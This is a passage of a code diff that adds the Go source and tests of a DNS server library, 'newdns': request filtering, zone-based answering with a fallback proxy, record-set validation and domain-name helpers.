|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: ret.Answer[1].(*dns.A).Hdr.Ttl,
|
||||||
|
Rdlength: 4,
|
||||||
|
},
|
||||||
|
A: ret.Answer[1].(*dns.A).A,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}, ret)
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"github.com/miekg/dns"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Accept will return a dns.MsgAcceptFunc that only accepts normal queries.
|
||||||
|
func Accept(logger Logger) dns.MsgAcceptFunc {
|
||||||
|
return func(dh dns.Header) dns.MsgAcceptAction {
|
||||||
|
// check if request
|
||||||
|
if dh.Bits&(1<<15) != 0 {
|
||||||
|
log(logger, Ignored, nil, nil, fmt.Sprintf("not a request"))
|
||||||
|
return dns.MsgIgnore
|
||||||
|
}
|
||||||
|
|
||||||
|
// check opcode
|
||||||
|
if int(dh.Bits>>11)&0xF != dns.OpcodeQuery {
|
||||||
|
log(logger, Ignored, nil, nil, fmt.Sprintf("not a query"))
|
||||||
|
return dns.MsgIgnore
|
||||||
|
}
|
||||||
|
|
||||||
|
// check question count
|
||||||
|
if dh.Qdcount != 1 {
|
||||||
|
log(logger, Ignored, nil, nil, fmt.Sprintf("invalid question count: %d", dh.Qdcount))
|
||||||
|
return dns.MsgIgnore
|
||||||
|
}
|
||||||
|
|
||||||
|
return dns.MsgAccept
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Run will start a UDP and TCP listener to serve the specified handler with the
|
||||||
|
// specified accept function until the provided close channel is closed. It will
|
||||||
|
// return the first error of a listener.
|
||||||
|
func Run(addr string, handler dns.Handler, accept dns.MsgAcceptFunc, close <-chan struct{}) error {
|
||||||
|
// prepare servers
|
||||||
|
udp := &dns.Server{Addr: addr, Net: "udp", Handler: handler, MsgAcceptFunc: accept}
|
||||||
|
tcp := &dns.Server{Addr: addr, Net: "tcp", Handler: handler, MsgAcceptFunc: accept}
|
||||||
|
|
||||||
|
// prepare errors
|
||||||
|
errs := make(chan error, 2)
|
||||||
|
|
||||||
|
// run udp server
|
||||||
|
go func() {
|
||||||
|
errs <- udp.ListenAndServe()
|
||||||
|
}()
|
||||||
|
|
||||||
|
// run tcp server
|
||||||
|
go func() {
|
||||||
|
errs <- tcp.ListenAndServe()
|
||||||
|
}()
|
||||||
|
|
||||||
|
// await first error
|
||||||
|
var err error
|
||||||
|
select {
|
||||||
|
case err = <-errs:
|
||||||
|
case <-close:
|
||||||
|
}
|
||||||
|
|
||||||
|
// shutdown servers
|
||||||
|
_ = udp.Shutdown()
|
||||||
|
_ = tcp.Shutdown()
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
@@ -0,0 +1,445 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
|
||||||
|
"github.com/miekg/dns"
|
||||||
|
"github.com/pkg/errors"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Config provides configuration for a DNS server.
|
||||||
|
type Config struct {
|
||||||
|
// The buffer size used if EDNS is enabled by a client.
|
||||||
|
//
|
||||||
|
// Default: 1220.
|
||||||
|
BufferSize int
|
||||||
|
|
||||||
|
// The list of zones handled by this server.
|
||||||
|
//
|
||||||
|
// Default: ["."].
|
||||||
|
Zones []string
|
||||||
|
|
||||||
|
// Handler is the callback that returns a zone for the specified name.
|
||||||
|
// The returned zone must not be altered going forward.
|
||||||
|
Handler func(name string) (*Zone, error)
|
||||||
|
|
||||||
|
// The fallback DNS server to be used if the zones is not matched. Exact
|
||||||
|
// zones must be provided above for this to work.
|
||||||
|
Fallback string
|
||||||
|
|
||||||
|
// Reporter is the callback called with request errors.
|
||||||
|
Logger Logger
|
||||||
|
}
|
||||||
|
|
||||||
|
// Server is a DNS server.
|
||||||
|
type Server struct {
|
||||||
|
config Config
|
||||||
|
close chan struct{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewServer creates and returns a new DNS server.
|
||||||
|
func NewServer(config Config) *Server {
|
||||||
|
// set default buffer size
|
||||||
|
if config.BufferSize <= 0 {
|
||||||
|
config.BufferSize = 1220
|
||||||
|
}
|
||||||
|
|
||||||
|
// set default zone
|
||||||
|
if len(config.Zones) == 0 {
|
||||||
|
config.Zones = []string{"."}
|
||||||
|
}
|
||||||
|
|
||||||
|
// check zones if fallback
|
||||||
|
if config.Fallback != "" {
|
||||||
|
for _, zone := range config.Zones {
|
||||||
|
if zone == "." {
|
||||||
|
panic(`fallback conflicts with the match all pattern "." (default)`)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Server{
|
||||||
|
config: config,
|
||||||
|
close: make(chan struct{}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Run will run a udp and tcp server on the specified address. It will return
|
||||||
|
// on the first accept error and close all servers.
|
||||||
|
func (s *Server) Run(addr string) error {
|
||||||
|
// prepare mux
|
||||||
|
mux := dns.NewServeMux()
|
||||||
|
|
||||||
|
// register handler
|
||||||
|
for _, zone := range s.config.Zones {
|
||||||
|
mux.Handle(zone, s)
|
||||||
|
}
|
||||||
|
|
||||||
|
// add fallback if available
|
||||||
|
if s.config.Fallback != "" {
|
||||||
|
mux.Handle(".", Proxy(s.config.Fallback, s.config.Logger))
|
||||||
|
}
|
||||||
|
|
||||||
|
// run server
|
||||||
|
err := Run(addr, mux, Accept(s.config.Logger), s.close)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ServeDNS implements the dns.Handler interface.
|
||||||
|
func (s *Server) ServeDNS(w dns.ResponseWriter, req *dns.Msg) {
|
||||||
|
// get question
|
||||||
|
question := req.Question[0]
|
||||||
|
|
||||||
|
// check class
|
||||||
|
if question.Qclass != dns.ClassINET {
|
||||||
|
log(s.config.Logger, Ignored, nil, nil, fmt.Sprintf("unsupported class: %s", dns.ClassToString[question.Qclass]))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// log request and finish
|
||||||
|
log(s.config.Logger, Request, req, nil, "")
|
||||||
|
defer log(s.config.Logger, Finish, nil, nil, "")
|
||||||
|
|
||||||
|
// prepare response
|
||||||
|
res := new(dns.Msg)
|
||||||
|
res.SetReply(req)
|
||||||
|
|
||||||
|
// always compress responses
|
||||||
|
res.Compress = true
|
||||||
|
|
||||||
|
// set flag
|
||||||
|
res.Authoritative = true
|
||||||
|
|
||||||
|
// check edns
|
||||||
|
if req.IsEdns0() != nil {
|
||||||
|
// use edns in reply
|
||||||
|
res.SetEdns0(uint16(s.config.BufferSize), false)
|
||||||
|
|
||||||
|
// check version
|
||||||
|
if req.IsEdns0().Version() != 0 {
|
||||||
|
log(s.config.Logger, Refused, nil, nil, fmt.Sprintf("unsupported EDNS version: %d", req.IsEdns0().Version()))
|
||||||
|
s.writeError(w, req, res, nil, dns.RcodeBadVers)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// check any type
|
||||||
|
if question.Qtype == dns.TypeANY {
|
||||||
|
log(s.config.Logger, Refused, nil, nil, "unsupported type: ANY")
|
||||||
|
s.writeError(w, req, res, nil, dns.RcodeNotImplemented)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// get name
|
||||||
|
name := NormalizeDomain(question.Name, true, false, false)
|
||||||
|
|
||||||
|
// get zone
|
||||||
|
zone, err := s.config.Handler(name)
|
||||||
|
if err != nil {
|
||||||
|
err = errors.Wrap(err, "server handler error")
|
||||||
|
log(s.config.Logger, BackendError, nil, err, "")
|
||||||
|
s.writeError(w, req, res, nil, dns.RcodeServerFailure)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// check zone
|
||||||
|
if zone == nil {
|
||||||
|
log(s.config.Logger, Refused, nil, nil, "no zone")
|
||||||
|
res.Authoritative = false
|
||||||
|
s.writeError(w, req, res, nil, dns.RcodeRefused)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// validate zone
|
||||||
|
err = zone.Validate()
|
||||||
|
if err != nil {
|
||||||
|
log(s.config.Logger, BackendError, nil, err, "")
|
||||||
|
s.writeError(w, req, res, nil, dns.RcodeServerFailure)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// answer SOA directly
|
||||||
|
if question.Qtype == dns.TypeSOA && name == zone.Name {
|
||||||
|
s.writeSOAResponse(w, req, res, zone)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// answer NS directly
|
||||||
|
if question.Qtype == dns.TypeNS && name == zone.Name {
|
||||||
|
s.writeNSResponse(w, req, res, zone)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// check type
|
||||||
|
typ := Type(question.Qtype)
|
||||||
|
|
||||||
|
// return error if type is not supported
|
||||||
|
if !typ.valid() {
|
||||||
|
log(s.config.Logger, Refused, nil, nil, fmt.Sprintf("unsupported type: %s", dns.TypeToString[question.Qtype]))
|
||||||
|
s.writeError(w, req, res, zone, dns.RcodeNameError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// lookup main answer
|
||||||
|
answer, exists, err := zone.Lookup(name, w.RemoteAddr().String(), typ)
|
||||||
|
if err != nil {
|
||||||
|
log(s.config.Logger, BackendError, nil, err, "")
|
||||||
|
s.writeError(w, req, res, nil, dns.RcodeServerFailure)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// check result
|
||||||
|
if len(answer) == 0 {
|
||||||
|
// write SOA with success code to indicate existence of other sets
|
||||||
|
if exists {
|
||||||
|
s.writeError(w, req, res, zone, dns.RcodeSuccess)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// otherwise return name error
|
||||||
|
s.writeError(w, req, res, zone, dns.RcodeNameError)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepare extra set
|
||||||
|
var extra []Set
|
||||||
|
|
||||||
|
// TODO: Lookup glue records for NS records?
|
||||||
|
|
||||||
|
// lookup extra sets
|
||||||
|
for _, set := range answer {
|
||||||
|
for _, record := range set.Records {
|
||||||
|
switch set.Type {
|
||||||
|
case MX:
|
||||||
|
// lookup internal MX target A and AAAA records
|
||||||
|
if InZone(zone.Name, record.Address) {
|
||||||
|
ret, _, err := zone.Lookup(record.Address, w.RemoteAddr().String(), A, AAAA)
|
||||||
|
if err != nil {
|
||||||
|
log(s.config.Logger, BackendError, nil, err, "")
|
||||||
|
s.writeError(w, req, res, nil, dns.RcodeServerFailure)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// add to extra
|
||||||
|
extra = append(extra, ret...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// set answer
|
||||||
|
for _, set := range answer {
|
||||||
|
res.Answer = append(res.Answer, s.convert(question.Name, zone, set)...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// set extra
|
||||||
|
for _, set := range extra {
|
||||||
|
res.Extra = append(res.Extra, s.convert(question.Name, zone, set)...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// add ns records
|
||||||
|
for _, ns := range zone.AllNameServers {
|
||||||
|
res.Ns = append(res.Ns, &dns.NS{
|
||||||
|
Hdr: dns.RR_Header{
|
||||||
|
Name: TransferCase(question.Name, zone.Name),
|
||||||
|
Rrtype: dns.TypeNS,
|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: toSeconds(zone.NSTTL),
|
||||||
|
},
|
||||||
|
Ns: ns,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// check if NS query
|
||||||
|
if typ == NS {
|
||||||
|
// move answers
|
||||||
|
res.Ns = res.Answer
|
||||||
|
res.Answer = nil
|
||||||
|
|
||||||
|
// no authoritative response for other zone in NS queries
|
||||||
|
res.Authoritative = false
|
||||||
|
}
|
||||||
|
|
||||||
|
// write message
|
||||||
|
s.writeMessage(w, req, res)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close will close the server.
|
||||||
|
func (s *Server) Close() {
|
||||||
|
defer func() { recover() }()
|
||||||
|
close(s.close)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) writeSOAResponse(w dns.ResponseWriter, rq, rs *dns.Msg, zone *Zone) {
|
||||||
|
// add soa record
|
||||||
|
rs.Answer = append(rs.Answer, &dns.SOA{
|
||||||
|
Hdr: dns.RR_Header{
|
||||||
|
Name: zone.Name,
|
||||||
|
Rrtype: dns.TypeSOA,
|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: toSeconds(zone.SOATTL),
|
||||||
|
},
|
||||||
|
Ns: zone.MasterNameServer,
|
||||||
|
Mbox: emailToDomain(zone.AdminEmail),
|
||||||
|
Serial: 1,
|
||||||
|
Refresh: toSeconds(zone.Refresh),
|
||||||
|
Retry: toSeconds(zone.Retry),
|
||||||
|
Expire: toSeconds(zone.Expire),
|
||||||
|
Minttl: toSeconds(zone.MinTTL),
|
||||||
|
})
|
||||||
|
|
||||||
|
// add ns records
|
||||||
|
for _, ns := range zone.AllNameServers {
|
||||||
|
rs.Ns = append(rs.Ns, &dns.NS{
|
||||||
|
Hdr: dns.RR_Header{
|
||||||
|
Name: zone.Name,
|
||||||
|
Rrtype: dns.TypeNS,
|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: toSeconds(zone.NSTTL),
|
||||||
|
},
|
||||||
|
Ns: ns,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// write message
|
||||||
|
s.writeMessage(w, rq, rs)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) writeNSResponse(w dns.ResponseWriter, rq, rs *dns.Msg, zone *Zone) {
|
||||||
|
// add ns records
|
||||||
|
for _, ns := range zone.AllNameServers {
|
||||||
|
rs.Answer = append(rs.Answer, &dns.NS{
|
||||||
|
Hdr: dns.RR_Header{
|
||||||
|
Name: zone.Name,
|
||||||
|
Rrtype: dns.TypeNS,
|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: toSeconds(zone.NSTTL),
|
||||||
|
},
|
||||||
|
Ns: ns,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// write message
|
||||||
|
s.writeMessage(w, rq, rs)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) writeError(w dns.ResponseWriter, rq, rs *dns.Msg, zone *Zone, code int) {
|
||||||
|
// set code
|
||||||
|
rs.Rcode = code
|
||||||
|
|
||||||
|
// add soa record
|
||||||
|
if zone != nil {
|
||||||
|
rs.Ns = append(rs.Ns, &dns.SOA{
|
||||||
|
Hdr: dns.RR_Header{
|
||||||
|
Name: zone.Name,
|
||||||
|
Rrtype: dns.TypeSOA,
|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: toSeconds(zone.SOATTL),
|
||||||
|
},
|
||||||
|
Ns: zone.MasterNameServer,
|
||||||
|
Mbox: emailToDomain(zone.AdminEmail),
|
||||||
|
Serial: 1,
|
||||||
|
Refresh: toSeconds(zone.Refresh),
|
||||||
|
Retry: toSeconds(zone.Retry),
|
||||||
|
Expire: toSeconds(zone.Expire),
|
||||||
|
Minttl: toSeconds(zone.MinTTL),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// write message
|
||||||
|
s.writeMessage(w, rq, rs)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) writeMessage(w dns.ResponseWriter, rq, rs *dns.Msg) {
|
||||||
|
// get buffer size
|
||||||
|
var buffer = 512
|
||||||
|
if rq.IsEdns0() != nil {
|
||||||
|
buffer = int(rq.IsEdns0().UDPSize())
|
||||||
|
}
|
||||||
|
|
||||||
|
// determine if client is using UDP
|
||||||
|
isUDP := w.RemoteAddr().Network() == "udp"
|
||||||
|
|
||||||
|
// truncate message if client is using UDP and message is too long
|
||||||
|
if isUDP && rs.Len() > buffer {
|
||||||
|
rs.Truncated = true
|
||||||
|
rs.Answer = nil
|
||||||
|
rs.Ns = nil
|
||||||
|
rs.Extra = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// write message
|
||||||
|
err := w.WriteMsg(rs)
|
||||||
|
if err != nil {
|
||||||
|
log(s.config.Logger, NetworkError, nil, err, "")
|
||||||
|
_ = w.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// log response
|
||||||
|
log(s.config.Logger, Response, rs, nil, "")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) convert(query string, zone *Zone, set Set) []dns.RR {
|
||||||
|
// prepare header
|
||||||
|
header := dns.RR_Header{
|
||||||
|
Name: TransferCase(query, set.Name),
|
||||||
|
Rrtype: uint16(set.Type),
|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: toSeconds(set.TTL),
|
||||||
|
}
|
||||||
|
|
||||||
|
// ensure zone min TTL
|
||||||
|
if set.TTL < zone.MinTTL {
|
||||||
|
header.Ttl = toSeconds(zone.MinTTL)
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepare list
|
||||||
|
var list []dns.RR
|
||||||
|
|
||||||
|
// add records
|
||||||
|
for _, record := range set.Records {
|
||||||
|
// construct record
|
||||||
|
switch set.Type {
|
||||||
|
case A:
|
||||||
|
list = append(list, &dns.A{
|
||||||
|
Hdr: header,
|
||||||
|
A: net.ParseIP(record.Address),
|
||||||
|
})
|
||||||
|
case AAAA:
|
||||||
|
list = append(list, &dns.AAAA{
|
||||||
|
Hdr: header,
|
||||||
|
AAAA: net.ParseIP(record.Address),
|
||||||
|
})
|
||||||
|
case CNAME:
|
||||||
|
list = append(list, &dns.CNAME{
|
||||||
|
Hdr: header,
|
||||||
|
Target: dns.Fqdn(record.Address),
|
||||||
|
})
|
||||||
|
case MX:
|
||||||
|
list = append(list, &dns.MX{
|
||||||
|
Hdr: header,
|
||||||
|
Preference: uint16(record.Priority),
|
||||||
|
Mx: dns.Fqdn(record.Address),
|
||||||
|
})
|
||||||
|
case TXT:
|
||||||
|
list = append(list, &dns.TXT{
|
||||||
|
Hdr: header,
|
||||||
|
Txt: record.Data,
|
||||||
|
})
|
||||||
|
case NS:
|
||||||
|
list = append(list, &dns.NS{
|
||||||
|
Hdr: header,
|
||||||
|
Ns: dns.Fqdn(record.Address),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return list
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,71 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/pkg/errors"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Set is a set of records.
|
||||||
|
type Set struct {
|
||||||
|
// The FQDN of the set.
|
||||||
|
Name string
|
||||||
|
|
||||||
|
// The type of the record.
|
||||||
|
Type Type
|
||||||
|
|
||||||
|
// The records in the set.
|
||||||
|
Records []Record
|
||||||
|
|
||||||
|
// The TTL of the set.
|
||||||
|
//
|
||||||
|
// Default: 5m.
|
||||||
|
TTL time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate will validate the set and ensure defaults.
|
||||||
|
func (s *Set) Validate() error {
|
||||||
|
// check name
|
||||||
|
if !IsDomain(s.Name, true) {
|
||||||
|
return errors.Errorf("invalid name: %s", s.Name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// check type
|
||||||
|
if !s.Type.valid() {
|
||||||
|
return errors.Errorf("invalid type: %d", s.Type)
|
||||||
|
}
|
||||||
|
|
||||||
|
// check records
|
||||||
|
if len(s.Records) == 0 {
|
||||||
|
return errors.Errorf("missing records")
|
||||||
|
}
|
||||||
|
|
||||||
|
// check CNAME records
|
||||||
|
if s.Type == CNAME && len(s.Records) > 1 {
|
||||||
|
return errors.Errorf("multiple CNAME records")
|
||||||
|
}
|
||||||
|
|
||||||
|
// validate records
|
||||||
|
for _, record := range s.Records {
|
||||||
|
err := record.Validate(s.Type)
|
||||||
|
if err != nil {
|
||||||
|
return errors.Wrap(err, "invalid record")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// check for duplicate addresses if not TXT
|
||||||
|
if len(s.Records) > 1 && s.Type != TXT {
|
||||||
|
for i := 0; i < len(s.Records)-1; i++ {
|
||||||
|
if s.Records[i].Address == s.Records[i+1].Address {
|
||||||
|
return errors.Errorf("duplicate address: %s", s.Records[i].Address)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// set default ttl
|
||||||
|
if s.TTL == 0 {
|
||||||
|
s.TTL = 5 * time.Minute
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestSetValidate(t *testing.T) {
|
||||||
|
table := []struct {
|
||||||
|
set Set
|
||||||
|
err string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
set: Set{
|
||||||
|
Name: "foo",
|
||||||
|
},
|
||||||
|
err: "invalid name: foo",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
set: Set{
|
||||||
|
Name: "example.com.",
|
||||||
|
},
|
||||||
|
err: "invalid type: 0",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
set: Set{
|
||||||
|
Name: "example.com.",
|
||||||
|
Type: A,
|
||||||
|
},
|
||||||
|
err: "missing records",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
set: Set{
|
||||||
|
Name: "example.com.",
|
||||||
|
Type: A,
|
||||||
|
Records: []Record{
|
||||||
|
{Address: "foo"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
err: "invalid record: invalid IPv4 address: foo",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
set: Set{
|
||||||
|
Name: "example.com.",
|
||||||
|
Type: TXT,
|
||||||
|
Records: []Record{
|
||||||
|
{},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
err: "invalid record: missing data",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
set: Set{
|
||||||
|
Name: "example.com.",
|
||||||
|
Type: CNAME,
|
||||||
|
Records: []Record{
|
||||||
|
{},
|
||||||
|
{},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
err: "multiple CNAME records",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
set: Set{
|
||||||
|
Name: "example.com.",
|
||||||
|
Type: A,
|
||||||
|
Records: []Record{
|
||||||
|
{Address: "1.2.3.4"},
|
||||||
|
{Address: "1.2.3.4"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
err: "duplicate address: 1.2.3.4",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for i, item := range table {
|
||||||
|
err := item.set.Validate()
|
||||||
|
if err != nil {
|
||||||
|
assert.Equal(t, item.err, err.Error(), i)
|
||||||
|
} else {
|
||||||
|
assert.Equal(t, item.err, "", item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,136 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"math"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/miekg/dns"
|
||||||
|
)
|
||||||
|
|
||||||
|
// IsDomain returns whether the name is a valid domain and if requested also
|
||||||
|
// fully qualified.
|
||||||
|
func IsDomain(name string, fqdn bool) bool {
|
||||||
|
_, ok := dns.IsDomainName(name)
|
||||||
|
return ok && (!fqdn || fqdn && dns.IsFqdn(name))
|
||||||
|
}
|
||||||
|
|
||||||
|
// InZone returns whether the provided name is part of the provided zone. Will
|
||||||
|
// always return false if the provided domains are not valid.
|
||||||
|
func InZone(zone, name string) bool {
|
||||||
|
// check domains
|
||||||
|
if !IsDomain(zone, false) || !IsDomain(name, false) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
return dns.IsSubDomain(zone, name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TrimZone will remove the zone from the specified name.
|
||||||
|
func TrimZone(zone, name string) string {
|
||||||
|
// return immediately if not in zone
|
||||||
|
if !InZone(zone, name) {
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
|
||||||
|
// count zone labels
|
||||||
|
count := dns.CountLabel(zone)
|
||||||
|
|
||||||
|
// get segments
|
||||||
|
labels := dns.SplitDomainName(name)
|
||||||
|
|
||||||
|
// get new labels
|
||||||
|
newLabels := labels[0 : len(labels)-count]
|
||||||
|
|
||||||
|
// join name
|
||||||
|
newName := strings.Join(newLabels, ".")
|
||||||
|
|
||||||
|
return newName
|
||||||
|
}
|
||||||
|
|
||||||
|
// NormalizeDomain will normalize the provided domain name by removing space
|
||||||
|
// around the name and lowercase it if request.
|
||||||
|
func NormalizeDomain(name string, lower, makeFQDN, removeFQDN bool) string {
|
||||||
|
// remove spaces
|
||||||
|
name = strings.TrimSpace(name)
|
||||||
|
|
||||||
|
// lowercase if requested
|
||||||
|
if lower {
|
||||||
|
name = strings.ToLower(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// make FQDN if requested
|
||||||
|
if makeFQDN {
|
||||||
|
name = dns.Fqdn(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// remove FQDN if requested
|
||||||
|
if removeFQDN && dns.IsFqdn(name) {
|
||||||
|
name = name[:len(name)-1]
|
||||||
|
}
|
||||||
|
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
|
||||||
|
// SplitDomain will split the provided domain either in separate labels or
|
||||||
|
// hierarchical labels. The later allows walking a domain up to the root.
|
||||||
|
func SplitDomain(name string, hierarchical bool) []string {
|
||||||
|
// normalize name
|
||||||
|
name = NormalizeDomain(name, false, false, true)
|
||||||
|
|
||||||
|
// return nil if empty
|
||||||
|
if name == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// split in labels
|
||||||
|
if !hierarchical {
|
||||||
|
return dns.SplitDomainName(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepare list
|
||||||
|
var list []string
|
||||||
|
|
||||||
|
// walk domain
|
||||||
|
for off, end := 0, false; !end; off, end = dns.NextLabel(name, off) {
|
||||||
|
list = append(list, name[off:])
|
||||||
|
}
|
||||||
|
|
||||||
|
return list
|
||||||
|
}
|
||||||
|
|
||||||
|
// TransferCase will transfer the case from the source name to the destination.
|
||||||
|
// For the source "foo.AAA.com." and destination "aaa.com" the function will
|
||||||
|
// return "AAA.com". The source must be either a child or the same as the
|
||||||
|
// destination.
|
||||||
|
func TransferCase(source, destination string) string {
|
||||||
|
// get lower variants
|
||||||
|
lowSource := strings.ToLower(source)
|
||||||
|
lowDestination := strings.ToLower(destination)
|
||||||
|
|
||||||
|
// get index of destination in source
|
||||||
|
index := strings.Index(lowSource, lowDestination)
|
||||||
|
if index < 0 {
|
||||||
|
return destination
|
||||||
|
}
|
||||||
|
|
||||||
|
// take shared part from source
|
||||||
|
return source[index:]
|
||||||
|
}
|
||||||
|
|
||||||
|
func emailToDomain(email string) string {
|
||||||
|
// split on at
|
||||||
|
parts := strings.Split(email, "@")
|
||||||
|
|
||||||
|
// replace dots in username
|
||||||
|
parts[0] = strings.ReplaceAll(parts[0], ".", "\\.")
|
||||||
|
|
||||||
|
// join domain
|
||||||
|
name := parts[0] + "." + parts[1]
|
||||||
|
|
||||||
|
return dns.Fqdn(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func toSeconds(d time.Duration) uint32 {
|
||||||
|
return uint32(math.Ceil(d.Seconds()))
|
||||||
|
}
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestIsDomain(t *testing.T) {
|
||||||
|
assert.True(t, IsDomain("example.com", false))
|
||||||
|
assert.False(t, IsDomain("example.com", true))
|
||||||
|
assert.True(t, IsDomain("example.com.", true))
|
||||||
|
assert.True(t, IsDomain(" example.com.", true))
|
||||||
|
assert.False(t, IsDomain("", false))
|
||||||
|
assert.True(t, IsDomain("x", false))
|
||||||
|
assert.True(t, IsDomain(".", false))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestInZone(t *testing.T) {
|
||||||
|
assert.True(t, InZone("example.com.", "foo.example.com."))
|
||||||
|
assert.True(t, InZone("example.com", "foo.example.com"))
|
||||||
|
assert.True(t, InZone("example.com", "example.com"))
|
||||||
|
assert.True(t, InZone(".", "com"))
|
||||||
|
assert.True(t, InZone(".", "."))
|
||||||
|
assert.False(t, InZone("", "."))
|
||||||
|
assert.False(t, InZone("", ""))
|
||||||
|
assert.False(t, InZone("foo.example.com", "example.com"))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTrimZone(t *testing.T) {
|
||||||
|
assert.Equal(t, "foo", TrimZone("example.com.", "foo.example.com."))
|
||||||
|
assert.Equal(t, "foo", TrimZone("example.com", "foo.example.com"))
|
||||||
|
assert.Equal(t, "", TrimZone("example.com", "example.com"))
|
||||||
|
assert.Equal(t, "example.com", TrimZone("foo.example.com", "example.com"))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeDomain(t *testing.T) {
|
||||||
|
